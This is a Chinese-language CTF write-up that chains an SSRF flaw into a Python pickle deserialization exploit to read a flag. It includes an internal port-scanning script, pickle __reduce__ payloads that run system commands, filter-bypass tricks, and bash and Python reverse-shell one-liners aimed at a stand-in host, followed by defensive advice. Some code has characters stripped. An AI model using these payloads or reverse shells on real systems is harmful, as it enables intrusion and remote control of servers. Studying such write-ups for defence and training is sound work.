从SSRF到Pickle反序列化:Web渗透中的链式漏洞利用实战

发布时间:2026/7/29 6:48:48
从SSRF到Pickle反序列化:Web渗透中的链式漏洞利用实战
1. 项目概述一次从SSRF到Pickle反序列化的完整攻防推演最近复盘了去年长城杯的一道Web赛题感觉它把SSRF服务端请求伪造和Python Pickle反序列化这两个经典漏洞串联得相当巧妙实战价值很高。这道题不是那种简单的“点一下就有”的漏洞而是需要你像侦探一样一步步从外部信息泄露到内部网络探测再到最终利用链的构造完整地走一遍攻击路径。对于想深入理解Web渗透中“横向移动”和“链式利用”思路的朋友来说是个绝佳的练手材料。题目模拟了一个常见的Web应用场景一个提供在线服务的站点内部可能存在一些未授权或配置不当的管理接口。我们的目标很明确就是找到隐藏在深处的flag。整个挑战的核心逻辑是先通过前端的SSRF漏洞作为“跳板”打入内网探测到关键的后端服务然后再利用该后端服务存在的Pickle反序列化漏洞执行任意代码最终拿到系统权限或直接读取flag。这个过程涉及网络协议、代码审计、Payload构造等多个层面的知识下面我就结合我的解题过程把每个环节的细节、踩过的坑和关键技巧掰开揉碎了讲清楚。2. 环境准备与初步信息收集2.1 题目环境搭建与访问通常这类CTF题目会提供一个IP地址和端口或者一个完整的域名。拿到地址后第一步永远是基础的访问和信息收集。我用浏览器打开目标地址发现是一个简单的Web页面可能是一个查询界面、文件上传点或者任何有用户输入的地方。这里要养成习惯立刻打开浏览器的开发者工具F12查看网络请求、前端源码和JavaScript文件。注意很多赛题的突破口就藏在注释、JS文件里的隐藏路径、或者API接口的响应头里。不要一上来就盲目上扫描器先人工过一遍所有肉眼可见的信息。首先查看页面源代码搜索可能的注释、隐藏表单、或者指向其他子域名的链接。然后查看主要的JavaScript文件看看是否有向其他地址发起的Ajax请求这些内部API的地址可能就是SSRF的潜在目标。最后留意一下Cookie、Session等信息虽然这道题的核心不在这里但全面的信息收集是做好任何安全测试的基础。2.2 关键功能点分析与参数模糊测试初步浏览后我找到了一个核心功能点一个允许用户输入URL并由服务器端去获取该URL内容的“预览”或“转码”功能。这几乎是SSRF漏洞的“标配”场景。常见的表现形式有头像设置处允许通过URL上传。文档转换服务输入在线文档URL进行转换。数据获取接口用于拉取第三方信息。所谓的“网络测试”或“链接检测”功能。我尝试输入了一个公网可访问的地址比如http://httpbin.org/get服务器返回了该页面的内容证实了服务器端会对外发起HTTP请求。这就是SSRF的“入口”。接下来我需要测试这个入口有哪些限制协议限制能否使用file://、gopher://、dict://等协议我依次测试file:///etc/passwd和dict://localhost:6379/info。发现file://被禁止了但dict://和gopher://的响应与其他错误不同提示连接被拒绝或超时这说明协议可能被允许只是目标端口没开放。域名/IP限制是否对目标地址做了白名单或黑名单过滤尝试http://127.0.0.1/、http://localhost/、http://0.0.0.0/以及http://[::1]/IPv6的回环地址。发现对127.0.0.1和localhost的访问返回了与公网地址不同的错误或者是连接被拒绝这强烈暗示我们可以访问内网服务。端口扫描这是SSRF攻击中最关键的一步。我们需要知道内网哪些IP的哪些端口开放了服务。由于题目环境通常是容器化的内网网段可能是172.x.x.x或192.168.x.x。通过Burp Suite的Intruder模块或者写一个简单的Python脚本对常见端口进行批量请求。我的策略是先针对127.0.0.1快速扫描一下80, 443, 8080, 8000, 6379Redis, 3306MySQL, 27017MongoDB, 9200Elasticsearch, 11211Memcached等常见Web和应用端口。很快我发现访问http://127.0.0.1:8000/时返回了一个错误页面但这个错误页面不是连接拒绝而是一个类似“Internal Server Error”或者具体的应用框架如Flask/Django的错误信息。这告诉我在本地8000端口运行着一个Web服务而且它对我的请求做出了响应只是请求的路径不对。3. SSRF漏洞利用与内网服务探测3.1 利用SSRF进行内网端口扫描确认了SSRF入口和内网存在服务后就需要进行更系统的探测。手动测试效率太低我通常用Python配合requests库来写个小脚本。这里有个关键点如何区分“端口开放”和“端口关闭”仅仅依靠HTTP状态码不行因为非HTTP服务可能直接断开连接而我们的SSRF接口可能会返回一个通用的“连接失败”错误。技巧在于分析响应体的差异。比如对于开放的HTTP服务即使返回404其错误页面也可能带有特定的框架标识如“Powered by Flask”。对于像Redis这样的非HTTP服务使用dict://协议去连接如果端口开放可能会返回一个包含Redis版本信息的错误响应因为dict://协议会发送一个简单的文本指令Redis会回应一个错误但这个错误信息里包含了服务标识如果端口关闭则是彻底的连接失败。import requests import sys target “http://target.com/ssrf_endpoint” # SSRF漏洞点URL param “url” # 存在SSRF的参数名 def probe_port(ip, port): # 尝试HTTP协议 test_url f“http://{ip}:{port}/” data {param: test_url} try: resp requests.post(target, datadata, timeout3) if “Connection refused” not in resp.text and “Failed to connect” not in resp.text: # 如果错误信息不是明确的连接拒绝则可能端口开放或服务有响应 print(f“[] Potential open port: {ip}:{port} - Response length: {len(resp.text)}”) # 可以进一步打印响应前几百字符进行分析 print(resp.text[:500]) except Exception as e: pass # 尝试dict协议探测Redis, Memcached等 test_dict f“dict://{ip}:{port}/info” data {param: test_dict} try: resp requests.post(target, datadata, timeout3) if “redis_version” in resp.text.lower(): print(f“[!!!] Found Redis at {ip}:{port}”) # 可以添加其他服务的识别特征 except: pass # 扫描127.0.0.1的常见端口 for port in [80, 443, 8000, 8080, 6379, 3306, 27017, 9200, 11211]: probe_port(“127.0.0.1”, port)运行脚本后我确认了127.0.0.1:8000上运行着一个Python Web服务从错误信息看像是Flask。同时对dict://127.0.0.1:6379的测试没有返回Redis特征说明Redis可能不存在或不在这个端口。3.2 识别内网Web应用与接口接下来集中精力对付127.0.0.1:8000。通过SSRF我相当于拥有了一个从目标服务器内部发起请求的“代理”。我需要对这个内部服务的目录和接口进行探测。目录爆破使用常见的目录字典通过SSRF去访问http://127.0.0.1:8000/{dir}。这里要注意很多目录爆破工具如dirsearch, gobuster是直接向目标发送请求但我们现在需要通过一个中间参数SSRF点来转发请求。这就需要自己修改工具或者用Burp Suite的Intruder将攻击位置设置为SSRF的参数值。 我用的方法是把Burp Intruder的Payload位置设为SSRF的URL参数值Payload类型选择“Simple list”加载目录字典并在前后加上http://127.0.0.1:8000/和字典项。然后通过观察响应长度和状态码虽然状态码是SSRF接口返回的但长度差异能说明问题来寻找有效路径。发现关键端点经过一番探测我发现了几个有趣的路径/admin返回403禁止访问说明存在权限控制。/api返回一个JSON提示需要特定的API密钥。/upload一个文件上传接口。/debug这个路径引起了我的注意访问它返回了一个交互式的Python调试界面类似于Flask-DebugToolbar的简化版但更关键的是它有一个可以执行Python代码的输入框或者一个接收序列化数据的接口。这很可能就是Pickle反序列化的触发点。4. Pickle反序列化漏洞原理与利用链构造4.1 Python Pickle反序列化漏洞核心原理在深入利用之前必须搞清楚Pickle是什么以及为什么它不安全。Pickle是Python用于对象序列化和反序列化的原生模块。序列化就是把一个内存中的对象比如一个类实例转换成字节流可以存到文件或网络传输反序列化就是把这个字节流还原成内存中的对象。漏洞的根源在于Pickle在反序列化时会自动执行字节流中指定的__reduce__方法。__reduce__方法返回一个可调用对象通常是函数和参数元组。反序列化过程会调用这个函数。如果攻击者能够控制被反序列化的数据他就可以构造一个恶意的字节流让__reduce__返回os.system或subprocess.Popen这样的函数并附上要执行的系统命令作为参数。简单来说流程是这样的恶意Pickle数据 - 服务器反序列化pickle.loads- 触发恶意类的 __reduce__ 方法 - 执行 system(‘whoami’) - 命令执行4.2 构造基础命令执行Payload发现了/debug接口它很可能接收一个经过Pickle序列化的数据。现在需要验证。我首先尝试发送一个正常的、无害的序列化数据比如一个简单的字典。import pickle import base64 class Test: pass # 创建一个简单的对象 obj Test() # 序列化 serialized pickle.dumps(obj) # 通常为了在网络传输会进行base64编码 encoded base64.b64encode(serialized).decode() print(encoded)将生成的base64字符串通过SSRF发送到http://127.0.0.1:8000/debug?database64具体参数名需要测试可能是data、payload、p等。如果服务器正常处理并返回了反序列化后的对象信息或者没有报错那就证实了漏洞存在。接下来构造恶意的Payload。经典的方法是定义一个包含__reduce__方法的类import pickle import base64 import os class Evil: def __reduce__(self): # 返回一个元组第一个元素是要调用的函数第二个是函数的参数元组 return (os.system, (‘whoami’, )) evil_obj Evil() malicious_pickle pickle.dumps(evil_obj) malicious_b64 base64.b64encode(malicious_pickle).decode() print(malicious_b64)但是这里有一个巨大的坑也是很多新手直接抄Payload会失败的原因os.system在执行命令时无法直接获取命令的输出。在CTF中我们的目标是读取文件比如/flag、/etc/passwd或者执行命令回显结果。os.system(‘cat /flag’)只会执行但输出到了服务器的标准输出我们通过HTTP响应是看不到的。4.3 构造能回显结果的Payload为了让命令执行的结果能通过HTTP响应返回给我们我们需要用到subprocess.Popen。它的stdout参数可以捕获命令的输出。import pickle import base64 import subprocess class Evil: def __reduce__(self): # 使用subprocess.Popen执行命令并捕获输出 return (subprocess.Popen, ((‘cat’, ‘/flag’), , -1, None, None, None, False, False)) evil_obj Evil() malicious_pickle pickle.dumps(evil_obj) malicious_b64 base64.b64encode(malicious_pickle).decode() print(malicious_b64)这个Payload在理想情况下能工作。但在实际题目中可能会遇到更多限制Python版本与协议版本Pickle有不同的协议版本0-5。高版本协议序列化的数据低版本Python可能无法反序列化。通常使用默认的最高协议pickle.dumps(obj, protocol-1)兼容性较好。但有些题目环境可能指定了协议如果不对应会报错。如果遇到pickle.UnpicklingError可以尝试指定一个具体的协议号比如protocol0可读性最强但体积大或protocol2。字符过滤与编码目标接口可能对传入的base64字符串有过滤比如过滤了空格、换行、某些特殊字符。我们的Payload是二进制数据转换的base64通常只包含字母数字和/一般没问题。但如果接口要求URL传输需要确保base64字符串进行URL安全的编码将换成-/换成_并去掉末尾的。__reduce__被拦截极少数情况下出题人可能会在服务端代码里检查反序列化的类是否包含__reduce__方法。这时就需要寻找其他利用链比如利用__setstate__等方法。但在大多数CTF题中__reduce__是畅通无阻的。5. 整合利用通过SSRF触发内网反序列化漏洞5.1 构造完整的攻击链现在我们手上有两个武器SSRF漏洞点外网可以让我们以服务器身份向127.0.0.1:8000发送任意HTTP请求。Pickle反序列化点内网/debug接口接收Pickle数据并执行。攻击链就很清晰了将构造好的恶意Pickle的base64编码作为参数通过SSRF漏洞点发送一个HTTP请求到内网的/debug接口。具体步骤如下使用Python脚本生成一个能执行命令并回显的Pickle Payload。例如执行ls -la /查看根目录。import pickle import base64 import subprocess class RCE: def __reduce__(self): cmd (‘ls’, ‘-la’, ‘/’) return (subprocess.Popen, (cmd, -1, None, None, None, None, False, False)) payload base64.b64encode(pickle.dumps(RCE())).decode() print(payload)确定内网debug接口的完整URL和参数。假设我们探测到是http://127.0.0.1:8000/debug接收一个叫data的GET参数。构造SSRF的最终利用URLhttp://127.0.0.1:8000/debug?data上一步生成的base64字符串。将这个URL作为SSRF漏洞点假设参数是url的输入发送请求。5.2 利用过程与结果捕获在实际操作中我使用Burp Suite的Repeater模块来完成这个过程因为它方便修改和观察响应。在Repeater中打开SSRF漏洞点的请求例如一个POST请求到/fetch参数是url。将url参数的值替换为http://127.0.0.1:8000/debug?data你的payload。注意如果payload里有特殊字符如,/,可能需要URL编码。在Burp里可以全选payload右键选择“Convert selection” - “URL” - “URL-encode key characters”。发送请求。观察响应。如果成功响应体里应该会包含命令ls -la /的执行结果你会看到根目录下的文件列表从中寻找像flag,flag.txt,flag.php这样的文件。踩坑实录我第一次尝试时命令执行了但没有回显。排查后发现是subprocess.Popen的参数顺序问题。subprocess.Popen的构造函数参数很多顺序是(args, bufsize-1, executableNone, stdinNone, stdoutNone, stderrNone, preexec_fnNone, close_fdsTrue, ...)。我在构造元组时顺序错了导致stdout没有被正确设置为管道。后来我改用subprocess.Popen(args, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE).communicate()的简化形式来构造但需要注意shellTrue可能在某些受限环境被禁用。最稳妥的方法是使用subprocess.Popen的完整参数列表并确保顺序正确或者使用subprocess.check_output函数来构造__reduce__的返回。修正后的Payload类class RCE: def __reduce__(self): import subprocess # 使用check_output可以直接获取命令输出非常方便 return (subprocess.check_output, ((‘cat’, ‘/flag’), ))这个__reduce__返回的是subprocess.check_output((‘cat’, ‘/flag’))。反序列化时它会执行这个函数调用并将函数的返回值即命令的输出作为反序列化后对象的一部分。但这里又有一个细节check_output返回的是字节串bytes如果服务端试图将这个字节串作为对象属性或其他方式处理可能会出错。更通用的方法是让命令执行的结果直接输出到HTTP响应中这通常需要结合服务端代码的逻辑。在本题的/debug接口中它很可能将反序列化后得到的结果包括函数返回值以某种形式展示在调试页面上这样我们就能看到cat /flag的结果了。6. 进阶利用与权限提升思路6.1 绕过可能的WAF或过滤在实际题目或真实环境中可能会遇到一些过滤机制关键词过滤过滤了os.system、subprocess、eval、exec等关键词。可以通过字符串拼接、编码、利用内置函数__import__等方式绕过。# 字符串拼接绕过 cmd ‘c’ ‘at /flag’ # 利用 __import__ def reduce(self): import builtins return (builtins.__import__(‘os’).system, (‘whoami’,))Pickle协议过滤只允许低协议版本。确保生成Payload时指定协议如pickle.dumps(obj, protocol0)。Base64解码前的检查可能检查了R、system等字符在base64解码前的字符串里。可以对Pickle字节码进行简单的XOR或字节替换编码在__reduce__里先解码再执行但这要求你能控制服务端执行解码的逻辑通常较难。6.2 从命令执行到稳定Shell如果题目要求不止是读flag而是获取一个稳定的shell比如后续还有其他机器需要渗透那么就需要在命令执行的基础上进行反弹Shell。使用反向Shell命令通过Pickle执行如下的bash或python命令将shell反弹到我们控制的VPS上。# Bash反弹shell假设你的VPS IP是1.2.3.4端口4444 cmd ‘bash -c “bash -i /dev/tcp/1.2.3.4/4444 01”’ # Python反弹shell cmd “python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”1.2.3.4\”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\”/bin/sh\”,\”-i\”]);’”将上述cmd放入Payload中执行。注意命令中有很多引号和特殊字符在Python字符串中需要正确转义。使用工具生成编码后的命令为了避免引号转义问题可以先用base64或hex编码命令然后在目标机器上解码执行。# 本地生成base64编码的反向shell命令 echo -n ‘bash -i /dev/tcp/1.2.3.4/4444 01’ | base64 # 输出YmFzaCAtaSAJiAvZGV2L3RjcC8xLjIuMy40LzQ0NDQgMD4mMQoPayload中执行的命令变为echo YmFzaCAtaSAJiAvZGV2L3RjcC8xLjIuMy40LzQ0NDQgMD4mMQo | base64 -d | bash这样Payload里的命令就是一个简单的字符串不容易出错。6.3 利用内存与文件系统残留信息在真实的渗透测试中拿到一个命令执行权限后远不是结束。你需要进行信息收集寻找提权路径。即使在这道CTF题里flag可能也不在根目录。你需要查看当前目录和用户pwd,whoami,id查看环境变量env寻找敏感文件find / -name “*flag*” 2/dev/null,find / -type f -perm -4000 2/dev/null找SUID文件查看历史命令history查看进程ps aux查看网络连接netstat -antp这些命令都可以通过我们构造的Pickle Payload依次执行并将结果回显。7. 防御方案与安全开发建议作为攻击者我们享受找到漏洞的乐趣但作为开发者或安全人员我们必须思考如何防御。针对这道题体现的两种漏洞防御措施如下7.1 SSRF漏洞防御严格校验输入对用户输入的URL进行严格的白名单校验只允许访问特定的、预设的域名或IP。如果业务必须允许任意URL则应解析URL禁止访问内网IP段如127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16和回环地址。使用域名解析并校验IP在服务器端解析用户输入的域名获取其IP地址判断该IP是否属于内网或黑名单。注意DNS重绑定攻击的绕过。禁用危险协议在代码层面或网络层面禁止应用程序使用file://、gopher://、dict://、ftp://等不必要的协议。设置网络访问边界运行Web应用的服务器或容器其网络策略应禁止出站连接到内部敏感服务。即使用户成功构造了SSRF请求请求也无法到达内网其他机器。7.2 Pickle反序列化漏洞防御根本方法避免反序列化不可信数据Pickle模块的官方文档明确警告“不要反序列化不受信任的数据”。这是最根本的原则。使用更安全的替代方案对于需要序列化的场景考虑使用JSON、YAML需安全加载、MessagePack等格式。它们只序列化数据不包含代码逻辑。实施完整性校验如果必须使用Pickle应在序列化前后使用HMAC等密码学签名来验证数据的完整性和来源确保数据未被篡改。使用安全的反序列化函数可以考虑使用pickle.loads()的替代品如pickle.Unpickler并重写find_class()方法限制可以反序列化的类只允许白名单内的类。import pickle class RestrictedUnpickler(pickle.Unpickler): allowed_classes {‘safe_module.SafeClass’} def find_class(self, module, name): # 只允许反序列化白名单中的类 full_name f‘{module}.{name}’ if full_name in self.allowed_classes: return super().find_class(module, name) raise pickle.UnpicklingError(f“Global ‘{full_name}’ is forbidden”) safe_data RestrictedUnpickler(io.BytesIO(pickled_data)).load()沙箱隔离在独立的、无特权的容器或进程中执行反序列化操作限制其访问文件系统和网络的权限。8. 实战中的排查与问题解决记录在解这道题和类似题目时我遇到了不少问题这里记录下排查思路SSRF探测无结果输入内网地址返回一律是“连接失败”。可能原因a) 题目有严格的过滤直接拒绝了内网IP。尝试使用IPv6地址[::1]、十进制IP如2130706433代表127.0.0.1、或者利用DNS重绑定技术。b) 内网服务真的没开。尝试用脚本扫描更大范围的端口。Pickle Payload发送后无回显首先检查命令是否真的执行了。可以尝试执行一个会产生明显侧信道效果的命令比如sleep 5观察请求响应时间是否延迟。如果延迟了说明命令执行了只是输出没返回。问题可能出在输出重定向问题确保subprocess.Popen的stdout和stderr参数正确设置为subprocess.PIPE。字符编码问题命令输出可能包含非UTF-8字符导致响应体处理出错。尝试用base64编码命令输出cmd (‘cat /flag | base64’, )。服务端逻辑问题debug接口可能只打印了反序列化得到的对象本身而没有打印函数执行的返回值。这时需要让返回值成为对象的一部分。可以构造一个类在__reduce__中返回一个会执行命令并将结果赋给自身属性的函数。import pickle import subprocess class Evil: def __reduce__(self): def exploit(): import subprocess result subprocess.check_output(‘cat /flag’, shellTrue) return result return (exploit, ()) # 注意这个Payload要求服务端会接收并显示 exploit() 函数的返回值。Payload被WAF拦截如果怀疑有过滤可以分步测试。先发送一个极其简单的、不包含敏感词的Pickle数据如pickle.dumps({‘test’: 123})看是否能正常反序列化。然后逐步添加敏感组件定位被过滤的关键词。这道“长城杯”的题目非常经典地展示了如何将一种漏洞SSRF作为打入内网的突破口再利用内网服务的另一种漏洞Pickle反序列化实现最终的攻击目标。这种“漏洞组合拳”在真实的网络攻击中极为常见。对于防守方而言它警示我们安全是一个整体外网一个不起眼的功能点可能成为内网沦陷的起点对于攻击者而言它锻炼的是系统性的渗透思维从信息收集到漏洞发现再到利用链构造和横向移动每一步都需要耐心和技巧。多打打这类综合性的题目对提升实战能力大有裨益。